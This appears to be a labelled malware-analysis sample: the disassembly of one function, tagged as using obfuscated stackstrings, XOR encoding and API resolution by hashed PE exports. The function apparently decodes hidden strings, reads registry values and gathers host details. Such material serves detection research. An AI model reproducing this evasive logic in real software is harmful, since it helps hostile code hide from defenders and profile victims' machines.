Function at 0x41a63f
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x65c
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x9c], 0xa0a0be3
push edi
mov dword [esp + 0xa4], 0xfd03bcfd
mov eax, ebx
mov dword [esp + 0xa8], 0xe010410
mov dword [esp + 0xac], 0xf150fbc
mov dword [esp + 0xb0], 0xbc090110
mov dword [esp + 0xb4], 0xb020a05
mov dword [esp + 0xb8], 0x10fd090e
mov dword [esp + 0xbc], 0xa60a0b05
movups xmm0, xmmword [esp + eax + 0xa0]
paddb xmm0, xmmword [0x421020]
movups xmmword [esp + eax + 0x230], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x41a6a5
mov byte [esp + 0x250], bl
mov ecx, ebx
mov dword [esp + 0x84], 0x324c625b
mov dword [esp + 0x88], 0x8f827b8d
mov dword [esp + 0x8c], 0x7b581c1f
mov dword [esp + 0x90], 0x5e32777e
mov dword [esp + 0x94], 0x86737581
mov dword [esp + 0x98], 0x4c80817b
mov byte [esp + 0x9c], 0x32
mov al, byte [esp + ecx + 0x84]
sub al, 0x12
mov byte [esp + ecx + 0x1dc], al
inc ecx
cmp ecx, 0x19
jl 0x41a718
mov byte [esp + 0x1f5], bl
mov ecx, ebx
mov dword [esp + 0x14], 0xfddf9497
mov dword [esp + 0x18], 0xebd8fcef
mov dword [esp + 0x1c], 0xaac4eff7
mov al, byte [esp + ecx + 0x14]
add al, 0x76
mov byte [esp + ecx + 0x14c], al
inc ecx
cmp ecx, 0xc
jl 0x41a74f
movaps xmm1, xmmword [0x421030]
xor eax, eax
mov dword [esp + 0x2c], 0x6110701
mov ecx, ebx
mov dword [esp + 0x30], 0x1119151a
mov ebp, 0xff
movq xmm0, qword [esp + 0x2c]
pxor xmm1, xmm0
mov dword [esp + 0x3c], 0x9eb2fbfc
xorps xmm0, xmm0
mov dword [esp + 0x40], 0x8584819c
punpcklbw xmm1, xmm0
mov dword [esp + 0x44], 0x90bf8394
mov dword [esp + 0x48], 0xd1cb949c
movups xmm0, xmmword [esp + 0x3c]
push 0x79
movups xmmword [esp + 0x1cc], xmm1
mov byte [esp + 0x15c], bl
movaps xmm1, xmmword [0x421070]
pxor xmm1, xmm0
mov word [esp + 0x1dc], ax
movups xmmword [esp + 0x170], xmm1
mov byte [esp + 0x180], bl
mov dword [esp + 0x18], 0xf7f4f6ea
mov dword [esp + 0x1c], 0xf9ecfbfc
mov dword [esp + 0x20], 0xecf4e8f5
pop edx
movzx eax, byte [esp + ecx + 0x14]
add ax, dx
and ax, bp
mov word [esp + ecx*2 + 0xa0], ax
inc ecx
cmp ecx, 0xc
jl 0x41a804
xor eax, eax
mov byte [esp + 0xc0], 0x2e
push 0x29
mov word [esp + 0xbc], ax
mov ecx, ebx
pop eax
mov byte [esp + 0xc1], al
mov dword [esp + 0xc2], 0x4d564c60
mov dword [esp + 0xc6], 0x195a5157
mov dword [esp + 0xca], 0x4c405803
mov dword [esp + 0xce], 0x51574d56
mov word [esp + 0xd2], 0x5e5a
mov byte [esp + 0xd4], 0x2e
mov byte [esp + 0xd5], al
mov dword [esp + 0xd6], 0x42404c6f
mov dword [esp + 0xda], 0x4d4c4a57
mov dword [esp + 0xde], 0x4f580319
mov dword [esp + 0xe2], 0x5742404c
mov dword [esp + 0xe6], 0x5e4d4c4a
mov byte [esp + 0xea], 0x2e
mov byte [esp + 0xeb], al
mov byte [esp + 0xec], dl
mov dword [esp + 0xed], 0x4003534a
mov dword [esp + 0xf1], 0x1946474c
mov dword [esp + 0xf5], 0x4a595803
mov dword [esp + 0xf9], 0x474c4053
mov word [esp + 0xfd], 0x5e46
mov byte [esp + 0xff], 0x2e
mov byte [esp + 0x100], al
mov dword [esp + 0x101], 0x464e4a77
mov byte [esp + 0x105], dl
mov dword [esp + 0x106], 0x19464d4c
mov dword [esp + 0x10a], 0x4a575803
mov dword [esp + 0x10e], 0x4c59464e
mov dword [esp + 0x112], 0x2e5e464d
mov byte [esp + 0x116], al
mov dword [esp + 0x117], 0x676a746b
mov word [esp + 0x11b], 0x319
mov al, byte [esp + ecx + 0xc0]
xor al, 0x23
mov byte [esp + ecx + 0x2c0], al
inc ecx
cmp ecx, 0x5d
jl 0x41a96c
mov byte [esp + 0x31d], bl
mov ecx, ebx
mov dword [esp + 0x3c], 0x98aee7e0
mov dword [esp + 0x40], 0x83889f9f
mov dword [esp + 0x44], 0x8c81cd99
mov dword [esp + 0x48], 0x8c988a83
mov dword [esp + 0x4c], 0xcdd7888a
mov al, byte [esp + ecx + 0x3c]
xor al, 0xed
mov byte [esp + ecx + 0x180], al
inc ecx
cmp ecx, 0x14
jl 0x41a9b3
mov byte [esp + 0x194], bl
mov ecx, ebx
mov dword [esp + 0x3c], 0x15257c7b
mov dword [esp + 0x40], 0x18131304
mov dword [esp + 0x44], 0x130c1f25
mov word [esp + 0x48], 0x564c
mov al, byte [esp + ecx + 0x3c]
xor al, 0x76
mov byte [esp + ecx + 0x15c], al
inc ecx
cmp ecx, 0xe
jl 0x41a9ee
mov byte [esp + 0x16a], bl
mov ecx, ebx
mov dword [esp + 0x2c], 0x1e43521e
mov byte [esp + 0x30], 0x52
mov al, byte [esp + ecx + 0x2c]
xor al, 0x3b
movzx eax, al
mov word [esp + ecx*2 + 0x3c], ax
inc ecx
cmp ecx, 5
jl 0x41aa17
xor eax, eax
mov dword [esp + 0x14], 0xc4fbbeb9
mov word [esp + 0x46], ax
mov ecx, ebx
mov dword [esp + 0x18], 0xc0d5c6d1
mov dword [esp + 0x1c], 0x94dadbdd
mov dword [esp + 0x20], 0xc0c7cde7
mov dword [esp + 0x24], 0x948ed9d1
mov al, byte [esp + ecx + 0x14]
xor al, 0xb4
mov byte [esp + ecx + 0x198], al
inc ecx
cmp ecx, 0x14
jl 0x41aa5c
push 0x41
mov byte [esp + 0x1b0], bl
mov ecx, ebx
mov dword [esp + 0x54], 0x13050e12
mov dword [esp + 0x58], 0x4110016
mov dword [esp + 0x5c], 0x22280c1b
mov dword [esp + 0x60], 0x2e322e31
mov dword [esp + 0x64], 0x161b3325
mov dword [esp + 0x68], 0x2e232d28
mov dword [esp + 0x6c], 0xddf3236
mov dword [esp + 0x70], 0x34021b13
mov dword [esp + 0x74], 0x2d243131
mov dword [esp + 0x78], 0x31241533
mov dword [esp + 0x7c], 0x2d2e2832
pop edx
movzx eax, byte [esp + ecx + 0x50]
add ax, dx
and ax, bp
mov word [esp + ecx*2 + 0xc0], ax
inc ecx
cmp ecx, 0x2c
jl 0x41aad3
xor eax, eax
mov dword [esp + 0x2c], 0xc5d0d3b1
mov word [esp + 0x118], ax
mov ecx, ebx
mov dword [esp + 0x30], 0xafd5c4d6
mov word [esp + 0x34], 0xcec2
mov byte [esp + 0x36], 0xc6
movzx eax, byte [esp + ecx + 0x2c]
sub ax, 0x61
and ax, bp
mov word [esp + ecx*2 + 0x1f8], ax
inc ecx
cmp ecx, 0xb
jl 0x41ab14
xor eax, eax
mov dword [esp + 0x50], 0x24232423
mov word [esp + 0x20e], ax
mov ecx, ebx
mov dword [esp + 0x54], 0x474f586f
mov dword [esp + 0x58], 0x424c4f42
mov dword [esp + 0x5c], 0x4b650e4b
mov word [esp + 0x60], 0x4c57
mov byte [esp + 0x62], dl
mov dword [esp + 0x63], 0x624a5c4f
mov word [esp + 0x67], 0x574f
mov byte [esp + 0x69], dl
mov dword [esp + 0x6a], 0x145d5a5b
mov byte [esp + 0x6e], 0xe
mov al, byte [esp + ecx + 0x50]
xor al, 0x2e
mov byte [esp + ecx + 0x210], al
inc ecx
cmp ecx, 0x1f
jl 0x41ab85
mov byte [esp + 0x22f], bl
mov ecx, ebx
mov dword [esp + 0x14], 0x1b1c1b1c
mov dword [esp + 0x18], 0x75637059
mov dword [esp + 0x1c], 0x74637066
mov dword [esp + 0x20], 0x1c312b62
mov word [esp + 0x24], 0x521b
mov byte [esp + 0x26], dl
mov word [esp + 0x27], 0x2b44
mov byte [esp + 0x29], 0x31
mov al, byte [esp + ecx + 0x14]
xor al, 0x11
mov byte [esp + ecx + 0x1b0], al
inc ecx
cmp ecx, 0x16
jl 0x41abd8
mov byte [esp + 0x1c6], bl
mov ecx, ebx
mov dword [esp + 0x14], 0xb1b0b690
mov dword [esp + 0x18], 0xab86aaa2
mov dword [esp + 0x1c], 0xaaafaca3
mov dword [esp + 0x20], 0xaca6b19e
mov dword [esp + 0x24], 0xb5b16bab
mov byte [esp + 0x28], 0xb1
movzx eax, byte [esp + ecx + 0x14]
sub ax, 0x3d
and ax, bp
mov word [esp + ecx*2 + 0x254], ax
inc ecx
cmp ecx, 0x15
jl 0x41ac21
xor eax, eax
mov word [esp + 0x14], 0x3826
mov word [esp + 0x27e], ax
mov ecx, ebx
mov byte [esp + 0x16], dl
mov dword [esp + 0x17], 0x4c46f347
mov dword [esp + 0x1b], 0x40384746
mov word [esp + 0x1f], 0x3cf3
mov byte [esp + 0x21], dl
mov dword [esp + 0x22], 0x40454239
mov dword [esp + 0x26], 0x423c4734
mov byte [esp + 0x2a], dl
mov byte [esp + 0x2b], 0xdd
mov al, byte [esp + ecx + 0x14]
add al, 0x2d
mov byte [esp + ecx + 0x50], al
inc ecx
cmp ecx, 0x18
jl 0x41ac86
lea eax, [esp + 0x230]
mov byte [esp + 0x68], bl
push eax
call fcn.00412606
mov dword [esp], 0x2000
call fcn.0040570b
mov esi, eax
mov dword [esp + 0x30], 0x302d3906
xor eax, eax
mov dword [esp + 0x34], 0x2531e428
lea edi, [esp + 0x18]
mov dword [esp + 0x38], 0xe4fe2f36
stosd dword es:[edi], eax
pop ecx
mov ecx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov al, byte [esp + ecx + 0x2c]
add al, 0x3c
mov byte [esp + ecx + 0x13c], al
inc ecx
cmp ecx, 0xc
jl 0x41acd9
mov byte [esp + 0x148], bl
mov ecx, ebx
mov word [esp + 0x38], 0xabac
mov al, byte [esp + ecx + 0x38]
xor al, 0xa1
mov byte [esp + ecx + 0x7c], al
inc ecx
cmp ecx, 2
jl 0x41acfc
lea eax, [esp + 0x13c]
mov byte [esp + 0x7e], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x140]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
mov edi, str.grad
push edi
call fcn.00405b40
pop ecx
push eax
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
lea eax, [esp + 0x7c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x80]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
lea eax, [esp + 0x1dc]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x1e0]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
mov ebp, 0x1000
xor ecx, ecx
push ebp
push esi
push ebx
mov edx, 0xe718270b
inc ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x41adac
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b934
lea eax, [esp + 0x14c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x150]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
push ebp
lea eax, [esp + 0x1cc]
xor ecx, ecx
push esi
mov edi, 0x1a52823b
inc ecx
push eax
mov edx, edi
call fcn.00412cbc
call eax
test eax, eax
je 0x41adf6
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b934
lea eax, [esp + 0x16c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x170]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
push ebp
lea eax, [esp + 0xa4]
xor ecx, ecx
push esi
push eax
mov edx, edi
inc ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x41ae3b
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b934
lea eax, [esp + 0x2c0]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x2c4]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
call fcn.0041a08f
mov edi, eax
test edi, edi
je 0x41ae7a
push edi
call fcn.00405b40
pop ecx
push eax
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
lea eax, [esp + 0x180]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x184]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
push ebx
push 5
mov edx, 0x5b5926c8
pop ecx
call fcn.00412cbc
call eax
push ebp
push esi
movzx eax, ax
xor ecx, ecx
push 2
push eax
mov edx, 0x276dcf3
inc ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x41aed0
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b934
lea eax, [esp + 0x15c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x160]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
push 1
mov edi, 0xa499d7b7
push 5
mov edx, edi
pop ecx
call fcn.00412cbc
call eax
push eax
push ebx
push 5
mov edx, edi
pop ecx
call fcn.00412cbc
call eax
push eax
lea eax, [esp + 0x44]
mov edx, 0xe3740fb6
push eax
push ebp
push esi
xor ecx, ecx
call fcn.00412cbc
call eax
add esp, 0x14
lea ecx, [esp + 0x14]
mov edx, esi
call fcn.0041b934
lea eax, [esp + 0x198]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x19c]
lea ecx, [esp + 0x18]
call fcn.0041baad
mov dword [esp], 0x2000
lea eax, [esp + 0x1fc]
push esi
push eax
lea edx, [esp + 0xcc]
mov ecx, 0x80000002
call fcn.0041b8bc
add esp, 0xc
test al, al
je 0x41b03b
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b934
xor ecx, ecx
mov dword [esp + 0x2c], ebx
mov edx, 0xd226977
inc ecx
call fcn.00412cbc
mov edi, eax
test edi, edi
je 0x41afb9
lea eax, [esp + 0x2c]
xor ecx, ecx
push eax
mov edx, 0x24526977
inc ecx
call fcn.00412cbc
call eax
push eax
call edi
mov ecx, ebx
cmp dword [esp + 0x2c], ebx
je 0x41aff9
mov dword [esp + 0x38], 0x6f71b35b
mov al, byte [esp + ecx + 0x38]
sub al, 0x3b
mov byte [esp + ecx + 0x124], al
inc ecx
cmp ecx, 4
jl 0x41afc9
lea eax, [esp + 0x124]
mov byte [esp + 0x128], bl
push eax
call fcn.00405b40
lea edx, [esp + 0x128]
jmp 0x41b02f
mov dword [esp + 0x38], 0x8182c76f
mov al, byte [esp + ecx + 0x38]
sub al, 0x4f
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 4
jl 0x41b001
lea eax, [esp + 0x12c]
mov byte [esp + 0x130], bl
push eax
call fcn.00405b40
lea edx, [esp + 0x130]
pop ecx
push eax
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
lea eax, [esp + 0x210]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x214]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
push ebx
push ebx
mov ebp, 0xf2fdc9f0
push 5
mov edx, ebp
pop ecx
call fcn.00412cbc
call eax
mov edi, eax
test edi, edi
je 0x41b125
mov ecx, edi
shl ecx, 2
push ecx
call fcn.0040570b
mov dword [esp + 0x30], eax
pop ecx
test eax, eax
je 0x41b125
push eax
push edi
push 5
mov edx, ebp
pop ecx
call fcn.00412cbc
call eax
mov ebp, ebx
test edi, edi
je 0x41b11b
mov eax, dword [esp + 0x2c]
xor ecx, ecx
push 0x1000
push esi
push 2
movzx eax, word [eax + ebp*4]
mov edx, 0x276dcf3
push eax
inc ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x41b116
mov word [esp + 0x38], 0x797c
mov ecx, ebx
mov al, byte [esp + ecx + 0x38]
sub al, 0x6f
mov byte [esp + ecx + 0x80], al
inc ecx
cmp ecx, 2
jl 0x41b0d1
lea eax, [esp + 0x80]
mov byte [esp + 0x82], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x84]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b934
inc ebp
cmp ebp, edi
jb 0x41b0a4
push dword [esp + 0x2c]
call fcn.004056f0
pop ecx
lea eax, [esp + 0x1b0]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x1b4]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
mov ecx, esi
call fcn.0041a59f
test esi, esi
je 0x41b164
push esi
call fcn.00405b40
pop ecx
push eax
mov edx, esi
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
push 1
lea eax, [esp + 0x324]
mov dword [esp + 0x324], 0x348
push eax
push ebx
push ebx
push 5
mov edx, 0xb154ff53
pop ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x41b1ee
mov dword [esp + 0x2c], 0x37206d6a
mov ecx, ebx
mov word [esp + 0x30], 0x5d32
mov byte [esp + 0x32], 0x47
mov al, byte [esp + ecx + 0x2c]
xor al, 0x67
mov byte [esp + ecx + 0x134], al
inc ecx
cmp ecx, 7
jl 0x41b1a4
lea eax, [esp + 0x134]
mov byte [esp + 0x13b], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x138]
lea ecx, [esp + 0x18]
call fcn.0041baad
pop ecx
lea edx, [esp + 0x364]
lea ecx, [esp + 0x14]
call fcn.0041b934
lea eax, [esp + 0x280]
mov dword [esp + 0x280], 0x40
xor ecx, ecx
mov edx, 0x7065a9c4
push eax
inc ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x41b292
push 0x29
pop ecx
mov word [esp + 0x2c], 0xe1e4
mov edx, 0xff
mov byte [esp + 0x2e], cl
mov dword [esp + 0x2f], 0xf7112418
mov dword [esp + 0x33], 0x43434cfc
movzx eax, byte [esp + ebx + 0x2c]
add ax, cx
and ax, dx
mov word [esp + ebx*2 + 0x84], ax
inc ebx
cmp ebx, 0xb
jl 0x41b237
push dword [esp + 0x28c]
xor eax, eax
mov edx, 0xe3740fb6
push dword [esp + 0x28c]
mov word [esp + 0xa2], ax
xor ecx, ecx
lea eax, [esp + 0x8c]
push eax
push 0x1000
push esi
call fcn.00412cbc
call eax
add esp, 0x14
lea ecx, [esp + 0x14]
mov edx, esi
call fcn.0041b934
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x254]
mov ecx, dword [esp + 0x14]
push eax
call fcn.00418de4
pop ecx
lea eax, [esp + 0x50]
push eax
call fcn.00412606
pop ecx
push esi
call fcn.004056f0
pop ecx
push dword [esp + 0x14]
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x65c
ret